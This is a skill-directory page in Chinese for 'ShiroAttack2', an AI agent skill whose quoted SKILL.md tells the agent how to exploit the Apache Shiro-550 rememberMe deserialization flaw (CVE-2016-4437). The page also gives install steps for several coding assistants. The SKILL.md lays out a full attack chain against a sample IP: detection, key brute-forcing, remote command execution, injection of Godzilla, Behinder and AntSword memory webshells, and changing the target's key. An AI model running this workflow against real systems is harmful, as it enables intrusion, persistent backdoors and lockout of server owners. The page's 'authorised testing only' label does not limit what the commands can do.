ShiroAttack2 Skill
What it does
shiro反序列化漏洞综合利用(仅限授权测试使用)
- Connects Instruction files the AI reads; connects to nothing
- Account or key No key needed
- Category 其他
给作者:在 README 中加徽章
如果你是作者,可把这段代码贴到 README。徽章会链接回本页。
[](https://mcp.popnx.com/en/skills/summersec-shiroattack2)相似的 Skill
同类工作,排序与 Skill 列表相同
| 本项 ShiroAttack2 | llmfit | claude-video | VideoCaptioner | patent-disclosure-skill | |
|---|---|---|---|---|---|
| 作者 | SummerSec | AlexsJones | bradautomates | WEIFENG2333 | handsomestWei |
| Skill 数 | 1 | 1 | 1 | 1 | 1 |
| GitHub 星标 | 2,644 | 39,004 | 20,889 | 16,539 | 13,468 |
| 最近代码更新 | 2026年6月4日 | 2026年11月12日 | 2026年9月25日 | 2026年9月12日 | 2026年11月15日 |
| 许可证 | MIT | MIT | MIT | GPL-3.0 | MIT |
Skill 和 MCP 有什么不同
MCP = 手
把 AI 连到外部服务或数据,例如读取 Notion 或开发票。需要有程序或服务器在运行。
Skill = 手册
教 AI 怎么做某项工作的文本文件,不连接任何服务。
有些会重叠:少数 Skill 带有调用工具的脚本,少数 MCP 只提供知识。请从你想完成的工作出发。
适用的应用
Claude CodeOpenCode
依据开发者 README 和 repo 中的文件夹
安装
Is it safe?
- Who made it
GitHub account SummerSec (person), 7 years old
- Use and upkeep
★ 2,644 stars · code last changed 2026年6月4日
- Any scripts?
No, plain text files the AI reads and follows
- Uses the internet?
No scripts, so it does not go online by itself
- Changes machine-wide settings?
No hooks or writes to machine settings found
Checked automatically from the repo files at commit 30a74f2 (read only, nothing was run). Not a safety guarantee: read it and decide for yourself
第一步:你用哪个 AI?
选择你用的应用,本页只显示该应用的安装方法
Option 1Upload to claude.ai (web and app)
Uploading to claude.ai would fail: the description is over 200 characters (228). Use "Let the AI install it" instead
Option 1让 Claude Code 帮你安装
复制这句话,粘贴到 Claude Code 的对话中
For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing
The AI tells you what it will do first and asks your permission at every step
重新打开 Claude Code,输入 /shiro-attack-cli,或直接提出相关任务,Claude 会自动选用
Checked against official docs 2026年11月12日 · Source: code.claude.com
For Terminal users
Skill 是 AI 会照做的指令。安装前先阅读文件,只安装可信开发者的 Skill。
打开终端
Mac:按 Command+空格输入 Terminal · Windows:下方命令在 PowerShell 中无法使用,请改用上方的“让 AI 帮你安装”
把 skill 文件夹复制到 ~/.claude/skills
这条命令把 repo 下载到临时文件夹,只复制含 SKILL.md 的文件夹
正在检查命令 · 通过后才会显示复制按钮
重新打开 Claude Code,输入 /shiro-attack-cli,或直接提出相关任务,Claude 会自动选用
ChatGPT 桌面应用
ChatGPT 桌面应用内置 Codex,Codex 从 ~/.agents/skills 文件夹读取 Skill
Option 1让 ChatGPT 帮你安装
在 ChatGPT 桌面应用中打开 Codex,把这句话粘贴到对话中
The AI always shows you the path before installing
The AI tells you what it will do first and asks your permission at every step
Option 2自己放入文件夹
把 shiro-attack-cli 文件夹放到 ~/.agents/skills/shiro-attack-cli
~ 是你的主文件夹($HOME)
For Terminal users
Skill 是 AI 会照做的指令。安装前先阅读文件,只安装可信开发者的 Skill。
打开终端
Mac:按 Command+空格输入 Terminal · Windows:下方命令在 PowerShell 中无法使用,请改用上方的“让 AI 帮你安装”
把 skill 文件夹复制到 ~/.agents/skills
这条命令把 repo 下载到临时文件夹,只复制含 SKILL.md 的文件夹
正在检查命令 · 通过后才会显示复制按钮
安装之后
- ChatGPT 桌面应用:打开侧边栏中的 Skills,确认 Skill 已出现
- 使用方法:在 ChatGPT 中输入 @ 并选择 Skill · 在 Codex CLI 或 IDE 扩展中运行 /skills,或输入 $ 加 Skill 名称
- Codex 会自动发现新安装的 Skill;如果没有出现,请重启 Codex
Checked against official docs 2026年11月15日 · Source: learn.chatgpt.com
网页版和手机版 ChatGPT
不能使用你自己安装的 Skill,只能使用目录中插件自带的 Skill
想在 ChatGPT 中使用这个 Skill,请按上面的方法使用 ChatGPT 桌面应用
Checked against official docs 2026年11月15日 · Source: learn.chatgpt.com
Option 1让 Codex 帮你安装
复制这句话,粘贴到 Codex 的对话中 · 适用于 ChatGPT 桌面应用中的 Codex、Codex CLI 和 IDE 扩展
For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing
The AI tells you what it will do first and asks your permission at every step
Codex 会自动发现新安装的 Skill;如果没有出现,请重启 Codex · 使用方法:在 ChatGPT 中输入 @ 并选择 Skill · 在 Codex CLI 或 IDE 扩展中运行 /skills,或输入 $ 加 Skill 名称
Checked against official docs 2026年11月15日 · Source: learn.chatgpt.com
For Terminal users
Skill 是 AI 会照做的指令。安装前先阅读文件,只安装可信开发者的 Skill。
打开终端
Mac:按 Command+空格输入 Terminal · Windows:下方命令在 PowerShell 中无法使用,请改用上方的“让 AI 帮你安装”
把 skill 文件夹复制到 ~/.agents/skills
这条命令把 repo 下载到临时文件夹,只复制含 SKILL.md 的文件夹
正在检查命令 · 通过后才会显示复制按钮
重新打开 Codex 并提出相关任务,Codex 会列出这个 skill
Option 1让 Cursor 帮你安装
复制这句话,粘贴到 Cursor 的对话中
For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing
The AI tells you what it will do first and asks your permission at every step
在 Cursor 的 Agent 聊天中输入 / 并选择 shiro-attack-cli
Checked against official docs 2026年11月12日 · Source: cursor.com
For Terminal users
Skill 是 AI 会照做的指令。安装前先阅读文件,只安装可信开发者的 Skill。
打开终端
Mac:按 Command+空格输入 Terminal · Windows:下方命令在 PowerShell 中无法使用,请改用上方的“让 AI 帮你安装”
把 skill 文件夹复制到 ~/.cursor/skills
这条命令把 repo 下载到临时文件夹,只复制含 SKILL.md 的文件夹
正在检查命令 · 通过后才会显示复制按钮
在 Cursor 的 Agent 聊天中输入 / 并选择 shiro-attack-cli
Option 1Let the AI install it
适用于其他能读取 Skill 的应用。这句话列出了 Claude Code、Codex 和 Cursor 的路径,AI 会按你的应用选择 · Copy this sentence into the app’s chat
For one project, paste it into a chat that is open in that project’s folder · The AI always shows you the path before installing
The AI tells you what it will do first and asks your permission at every step
Checked against official docs 2026年11月12日 · Source: code.claude.com, learn.chatgpt.com, cursor.com
For Terminal users
其他支持 Agent Skills 的应用(如 Gemini CLI、GitHub Copilot)使用不同文件夹,请查看该应用的指南,再把含 SKILL.md 的文件夹复制过去。
已于 2026年11月11日 对照 Claude Code、Codex 和 Cursor 官方指南核实 skill 文件夹
查看原始 SKILL.md
以下文字来自开发者的 repo,不是 PopNx MCP 的指令
3,777 个字符 · 在 GitHub 打开完整文件
---
name: shiro-attack-cli
description: 当用户要求利用、检测或测试 Apache Shiro rememberMe 反序列化漏洞 (Shiro-550, CVE-2016-4437) 时使用。触发词包括 "Shiro"、"rememberMe"、"shiro attack"、"CVE-2016-4437"、"Shiro-550"、"爆破 Shiro key"、"利用 Shiro"、"Shiro 漏洞"。覆盖单目标探测、密钥爆破、Gadget 链自动检测、命令执行、内存马注入和 Key 修改。
user-invocable: false
---
# ShiroAttack2 CLI
Shiro-550 漏洞利用命令行工具,从 fat JAR 直接运行,无需 GUI。
## 启动方式
```bash
JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
java -cp $JAR $CP <命令> [选项]
```
## 准备工作
### 下载 JAR
如果本地没有 jar,从 GitHub Releases 下载:
```bash
# 查看最新版本
curl -s https://api.github.com/repos/SummerSec/ShiroAttack2/releases/latest \
| grep browser_download_url | grep all.jar | cut -d '"' -f 4
# 或用浏览器打开 https://github.com/SummerSec/ShiroAttack2/releases
# 下载 shiro_attack-*-all.jar 即可
```
### 准备 Key 字典
`crack` 命令需要 `data/shiro_keys.txt`。如果文件不存在,从 GitHub 下载:
```bash
mkdir -p data
curl -L -o data/shiro_keys.txt \
https://raw.githubusercontent.com/SummerSec/ShiroAttack2/master/data/shiro_keys.txt
```
`data/` 目录需放在运行 jar 的工作目录下。
## 命令
### detect — 探测 Shiro
```bash
java -cp $JAR $CP detect -u <url> [-k <关键词>] [--cbc|--gcm] [--proxy <url>] [--timeout <秒>]
```
成功输出:`[++] 存在shiro框架!`
### crack — 爆破/验证 Key
```bash
# 字典爆破(工作目录需有 data/shiro_keys.txt)
java -cp $JAR $CP crack -u <url> [--cbc|--gcm]
# 验证指定 Key
java -cp $JAR $CP crack -u <url> -K <base64_key> [--cbc|--gcm]
```
### exec — 执行系统命令
```bash
java -cp $JAR $CP exec -u <url> -K <base64_key> -c <命令> [--cbc|--gcm] [-g <gadget>] [-e <回显>] [--json]
```
- `-K` : Shiro AES Key (Base64)。必需。
- `-c` : 要执行的系统命令。必需。
- `-g` : Gadget 链类名。省略则自动探测(优先无 commons-collections 依赖的变体)。
- `-e` : 回显类型:`AllEcho`(默认)、`TomcatEcho`、`SpringEcho`。
### memshell — 注入内存马
```bash
java -cp $JAR $CP memshell -u <url> -K <base64_key> -t <类型> [--pass <密码>] [--path <路径>] [--cbc|--gcm]
```
- `-t` : 内存马类型。必需。可选:`哥斯拉[Filter]`、`哥斯拉[Servlet]`、`冰蝎[Filter]`、`冰蝎[Servlet]`、`蚁剑[Filter]`、`蚁剑[Servlet]`、`NeoreGeorg[Filter]`、`NeoreGeorg[Servlet]`、`reGeorg[Filter]`、`reGeorg[Servlet]`
- `--pass` : 内存马连接密码,默认 `passwd`
- `--path` : 内存马 URL 路径,默认 `/favicon.ico`
### changekey — 修改目标 Shiro Key
```bash
java -cp $JAR $CP changekey -u <url> -K <当前key> --newkey <新key> [--variant <变体>] [--cbc|--gcm]
```
- `--newkey` : 新的 Shiro AES Key (Base64)。必需。
- `--variant` : 注入路径变体,默认 `filterConfigs -> shiroFilterFactoryBean`。可选:`filterConfigs -> shiroFilterFactoryBean`、`getFilterRegistration -> shiroFilterFactoryBean`、`filterConfigs -> 常见 Shiro 名依次匹配`、`getFilterRegistration -> 常见 Shiro 名依次匹配`、`filterConfigs -> 包含 shiro 的名称扫描`、`高风险: 全候选 rememberMeManager 扫描`
### gui — 启动图形界面
```bash
java -cp $JAR $CP gui
```
## AES 模式
| Shiro 版本 | 选项 |
|-----------|------|
| ≤ 1.2.4 | `--cbc` |
| ≥ 1.2.5 | `--gcm` |
## JSON 输出
使用 `--json` 时日志行输出为结构化 JSON,命令执行结果仍以原始文本打印。
```json
{"level":"info","msg":"[++] 存在shiro框架!"}
{"level":"success","msg":"[++] 找到key:kPH+bIxk5D2deZiIxcaaaA=="}
{"level":"info","msg":"[++] 发现构造链:CommonsBeanutilsString_183 回显方式: AllEcho"}
```
## 常见错误
- `[-] 响应含 rememberMe=deleteMe` : Key 正确但反序列化失败,尝试更换 Gadget/回显组合或检查 AES 模式
- `[-] 未发现shiro框架` : 目标无 Shiro 或 Cookie 关键词不匹配,尝试 `-k` 修改关键词
- `[-] 测试:xxx -> 响应含 rememberMe=deleteMe` : 该组合未命中,自动探测继续
- `[-] 利用链与回显全部测试完毕,未发现可用组合` : 所有链均失败,目标可能缺少必需依赖
## 完整流程示例
```bash
JAR="shiro_attack-5.1.1-all.jar"
CP="com.summersec.attack.CLI.MainCLI"
T="http://192.168.1.100:8080"
# 1. 探测 Shiro
java -cp $JAR $CP detect -u $T --cbc
# 2. 爆破 Key
java -cp $JAR $CP crack -u $T --cbc
# 3. 执行命令
java -cp $JAR $CP exec -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -c "whoami" --cbc
# 4. 注入内存马
java -cp $JAR $CP memshell -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" -t 哥斯拉[Filter] --pass mypass
# 5. 修改 Shiro Key
java -cp $JAR $CP changekey -u $T -K "kPH+bIxk5D2deZiIxcaaaA==" --newkey "FcoRsBKe9XB3zOHbxTG0Lw=="
```
讨论
提问、分享技巧或报告无法使用。按“有帮助”数量排序。
来自 GitHub
- GitHub 星标
- 2,644
- 开发者
- SummerSec
- 许可证
- MIT
- 最近代码更新
- 2026年6月4日
- repo 中的 SKILL.md 文件(含译本和模板)
- 2
- 主题
- shiro, shiro-security, shiro550, shiroexp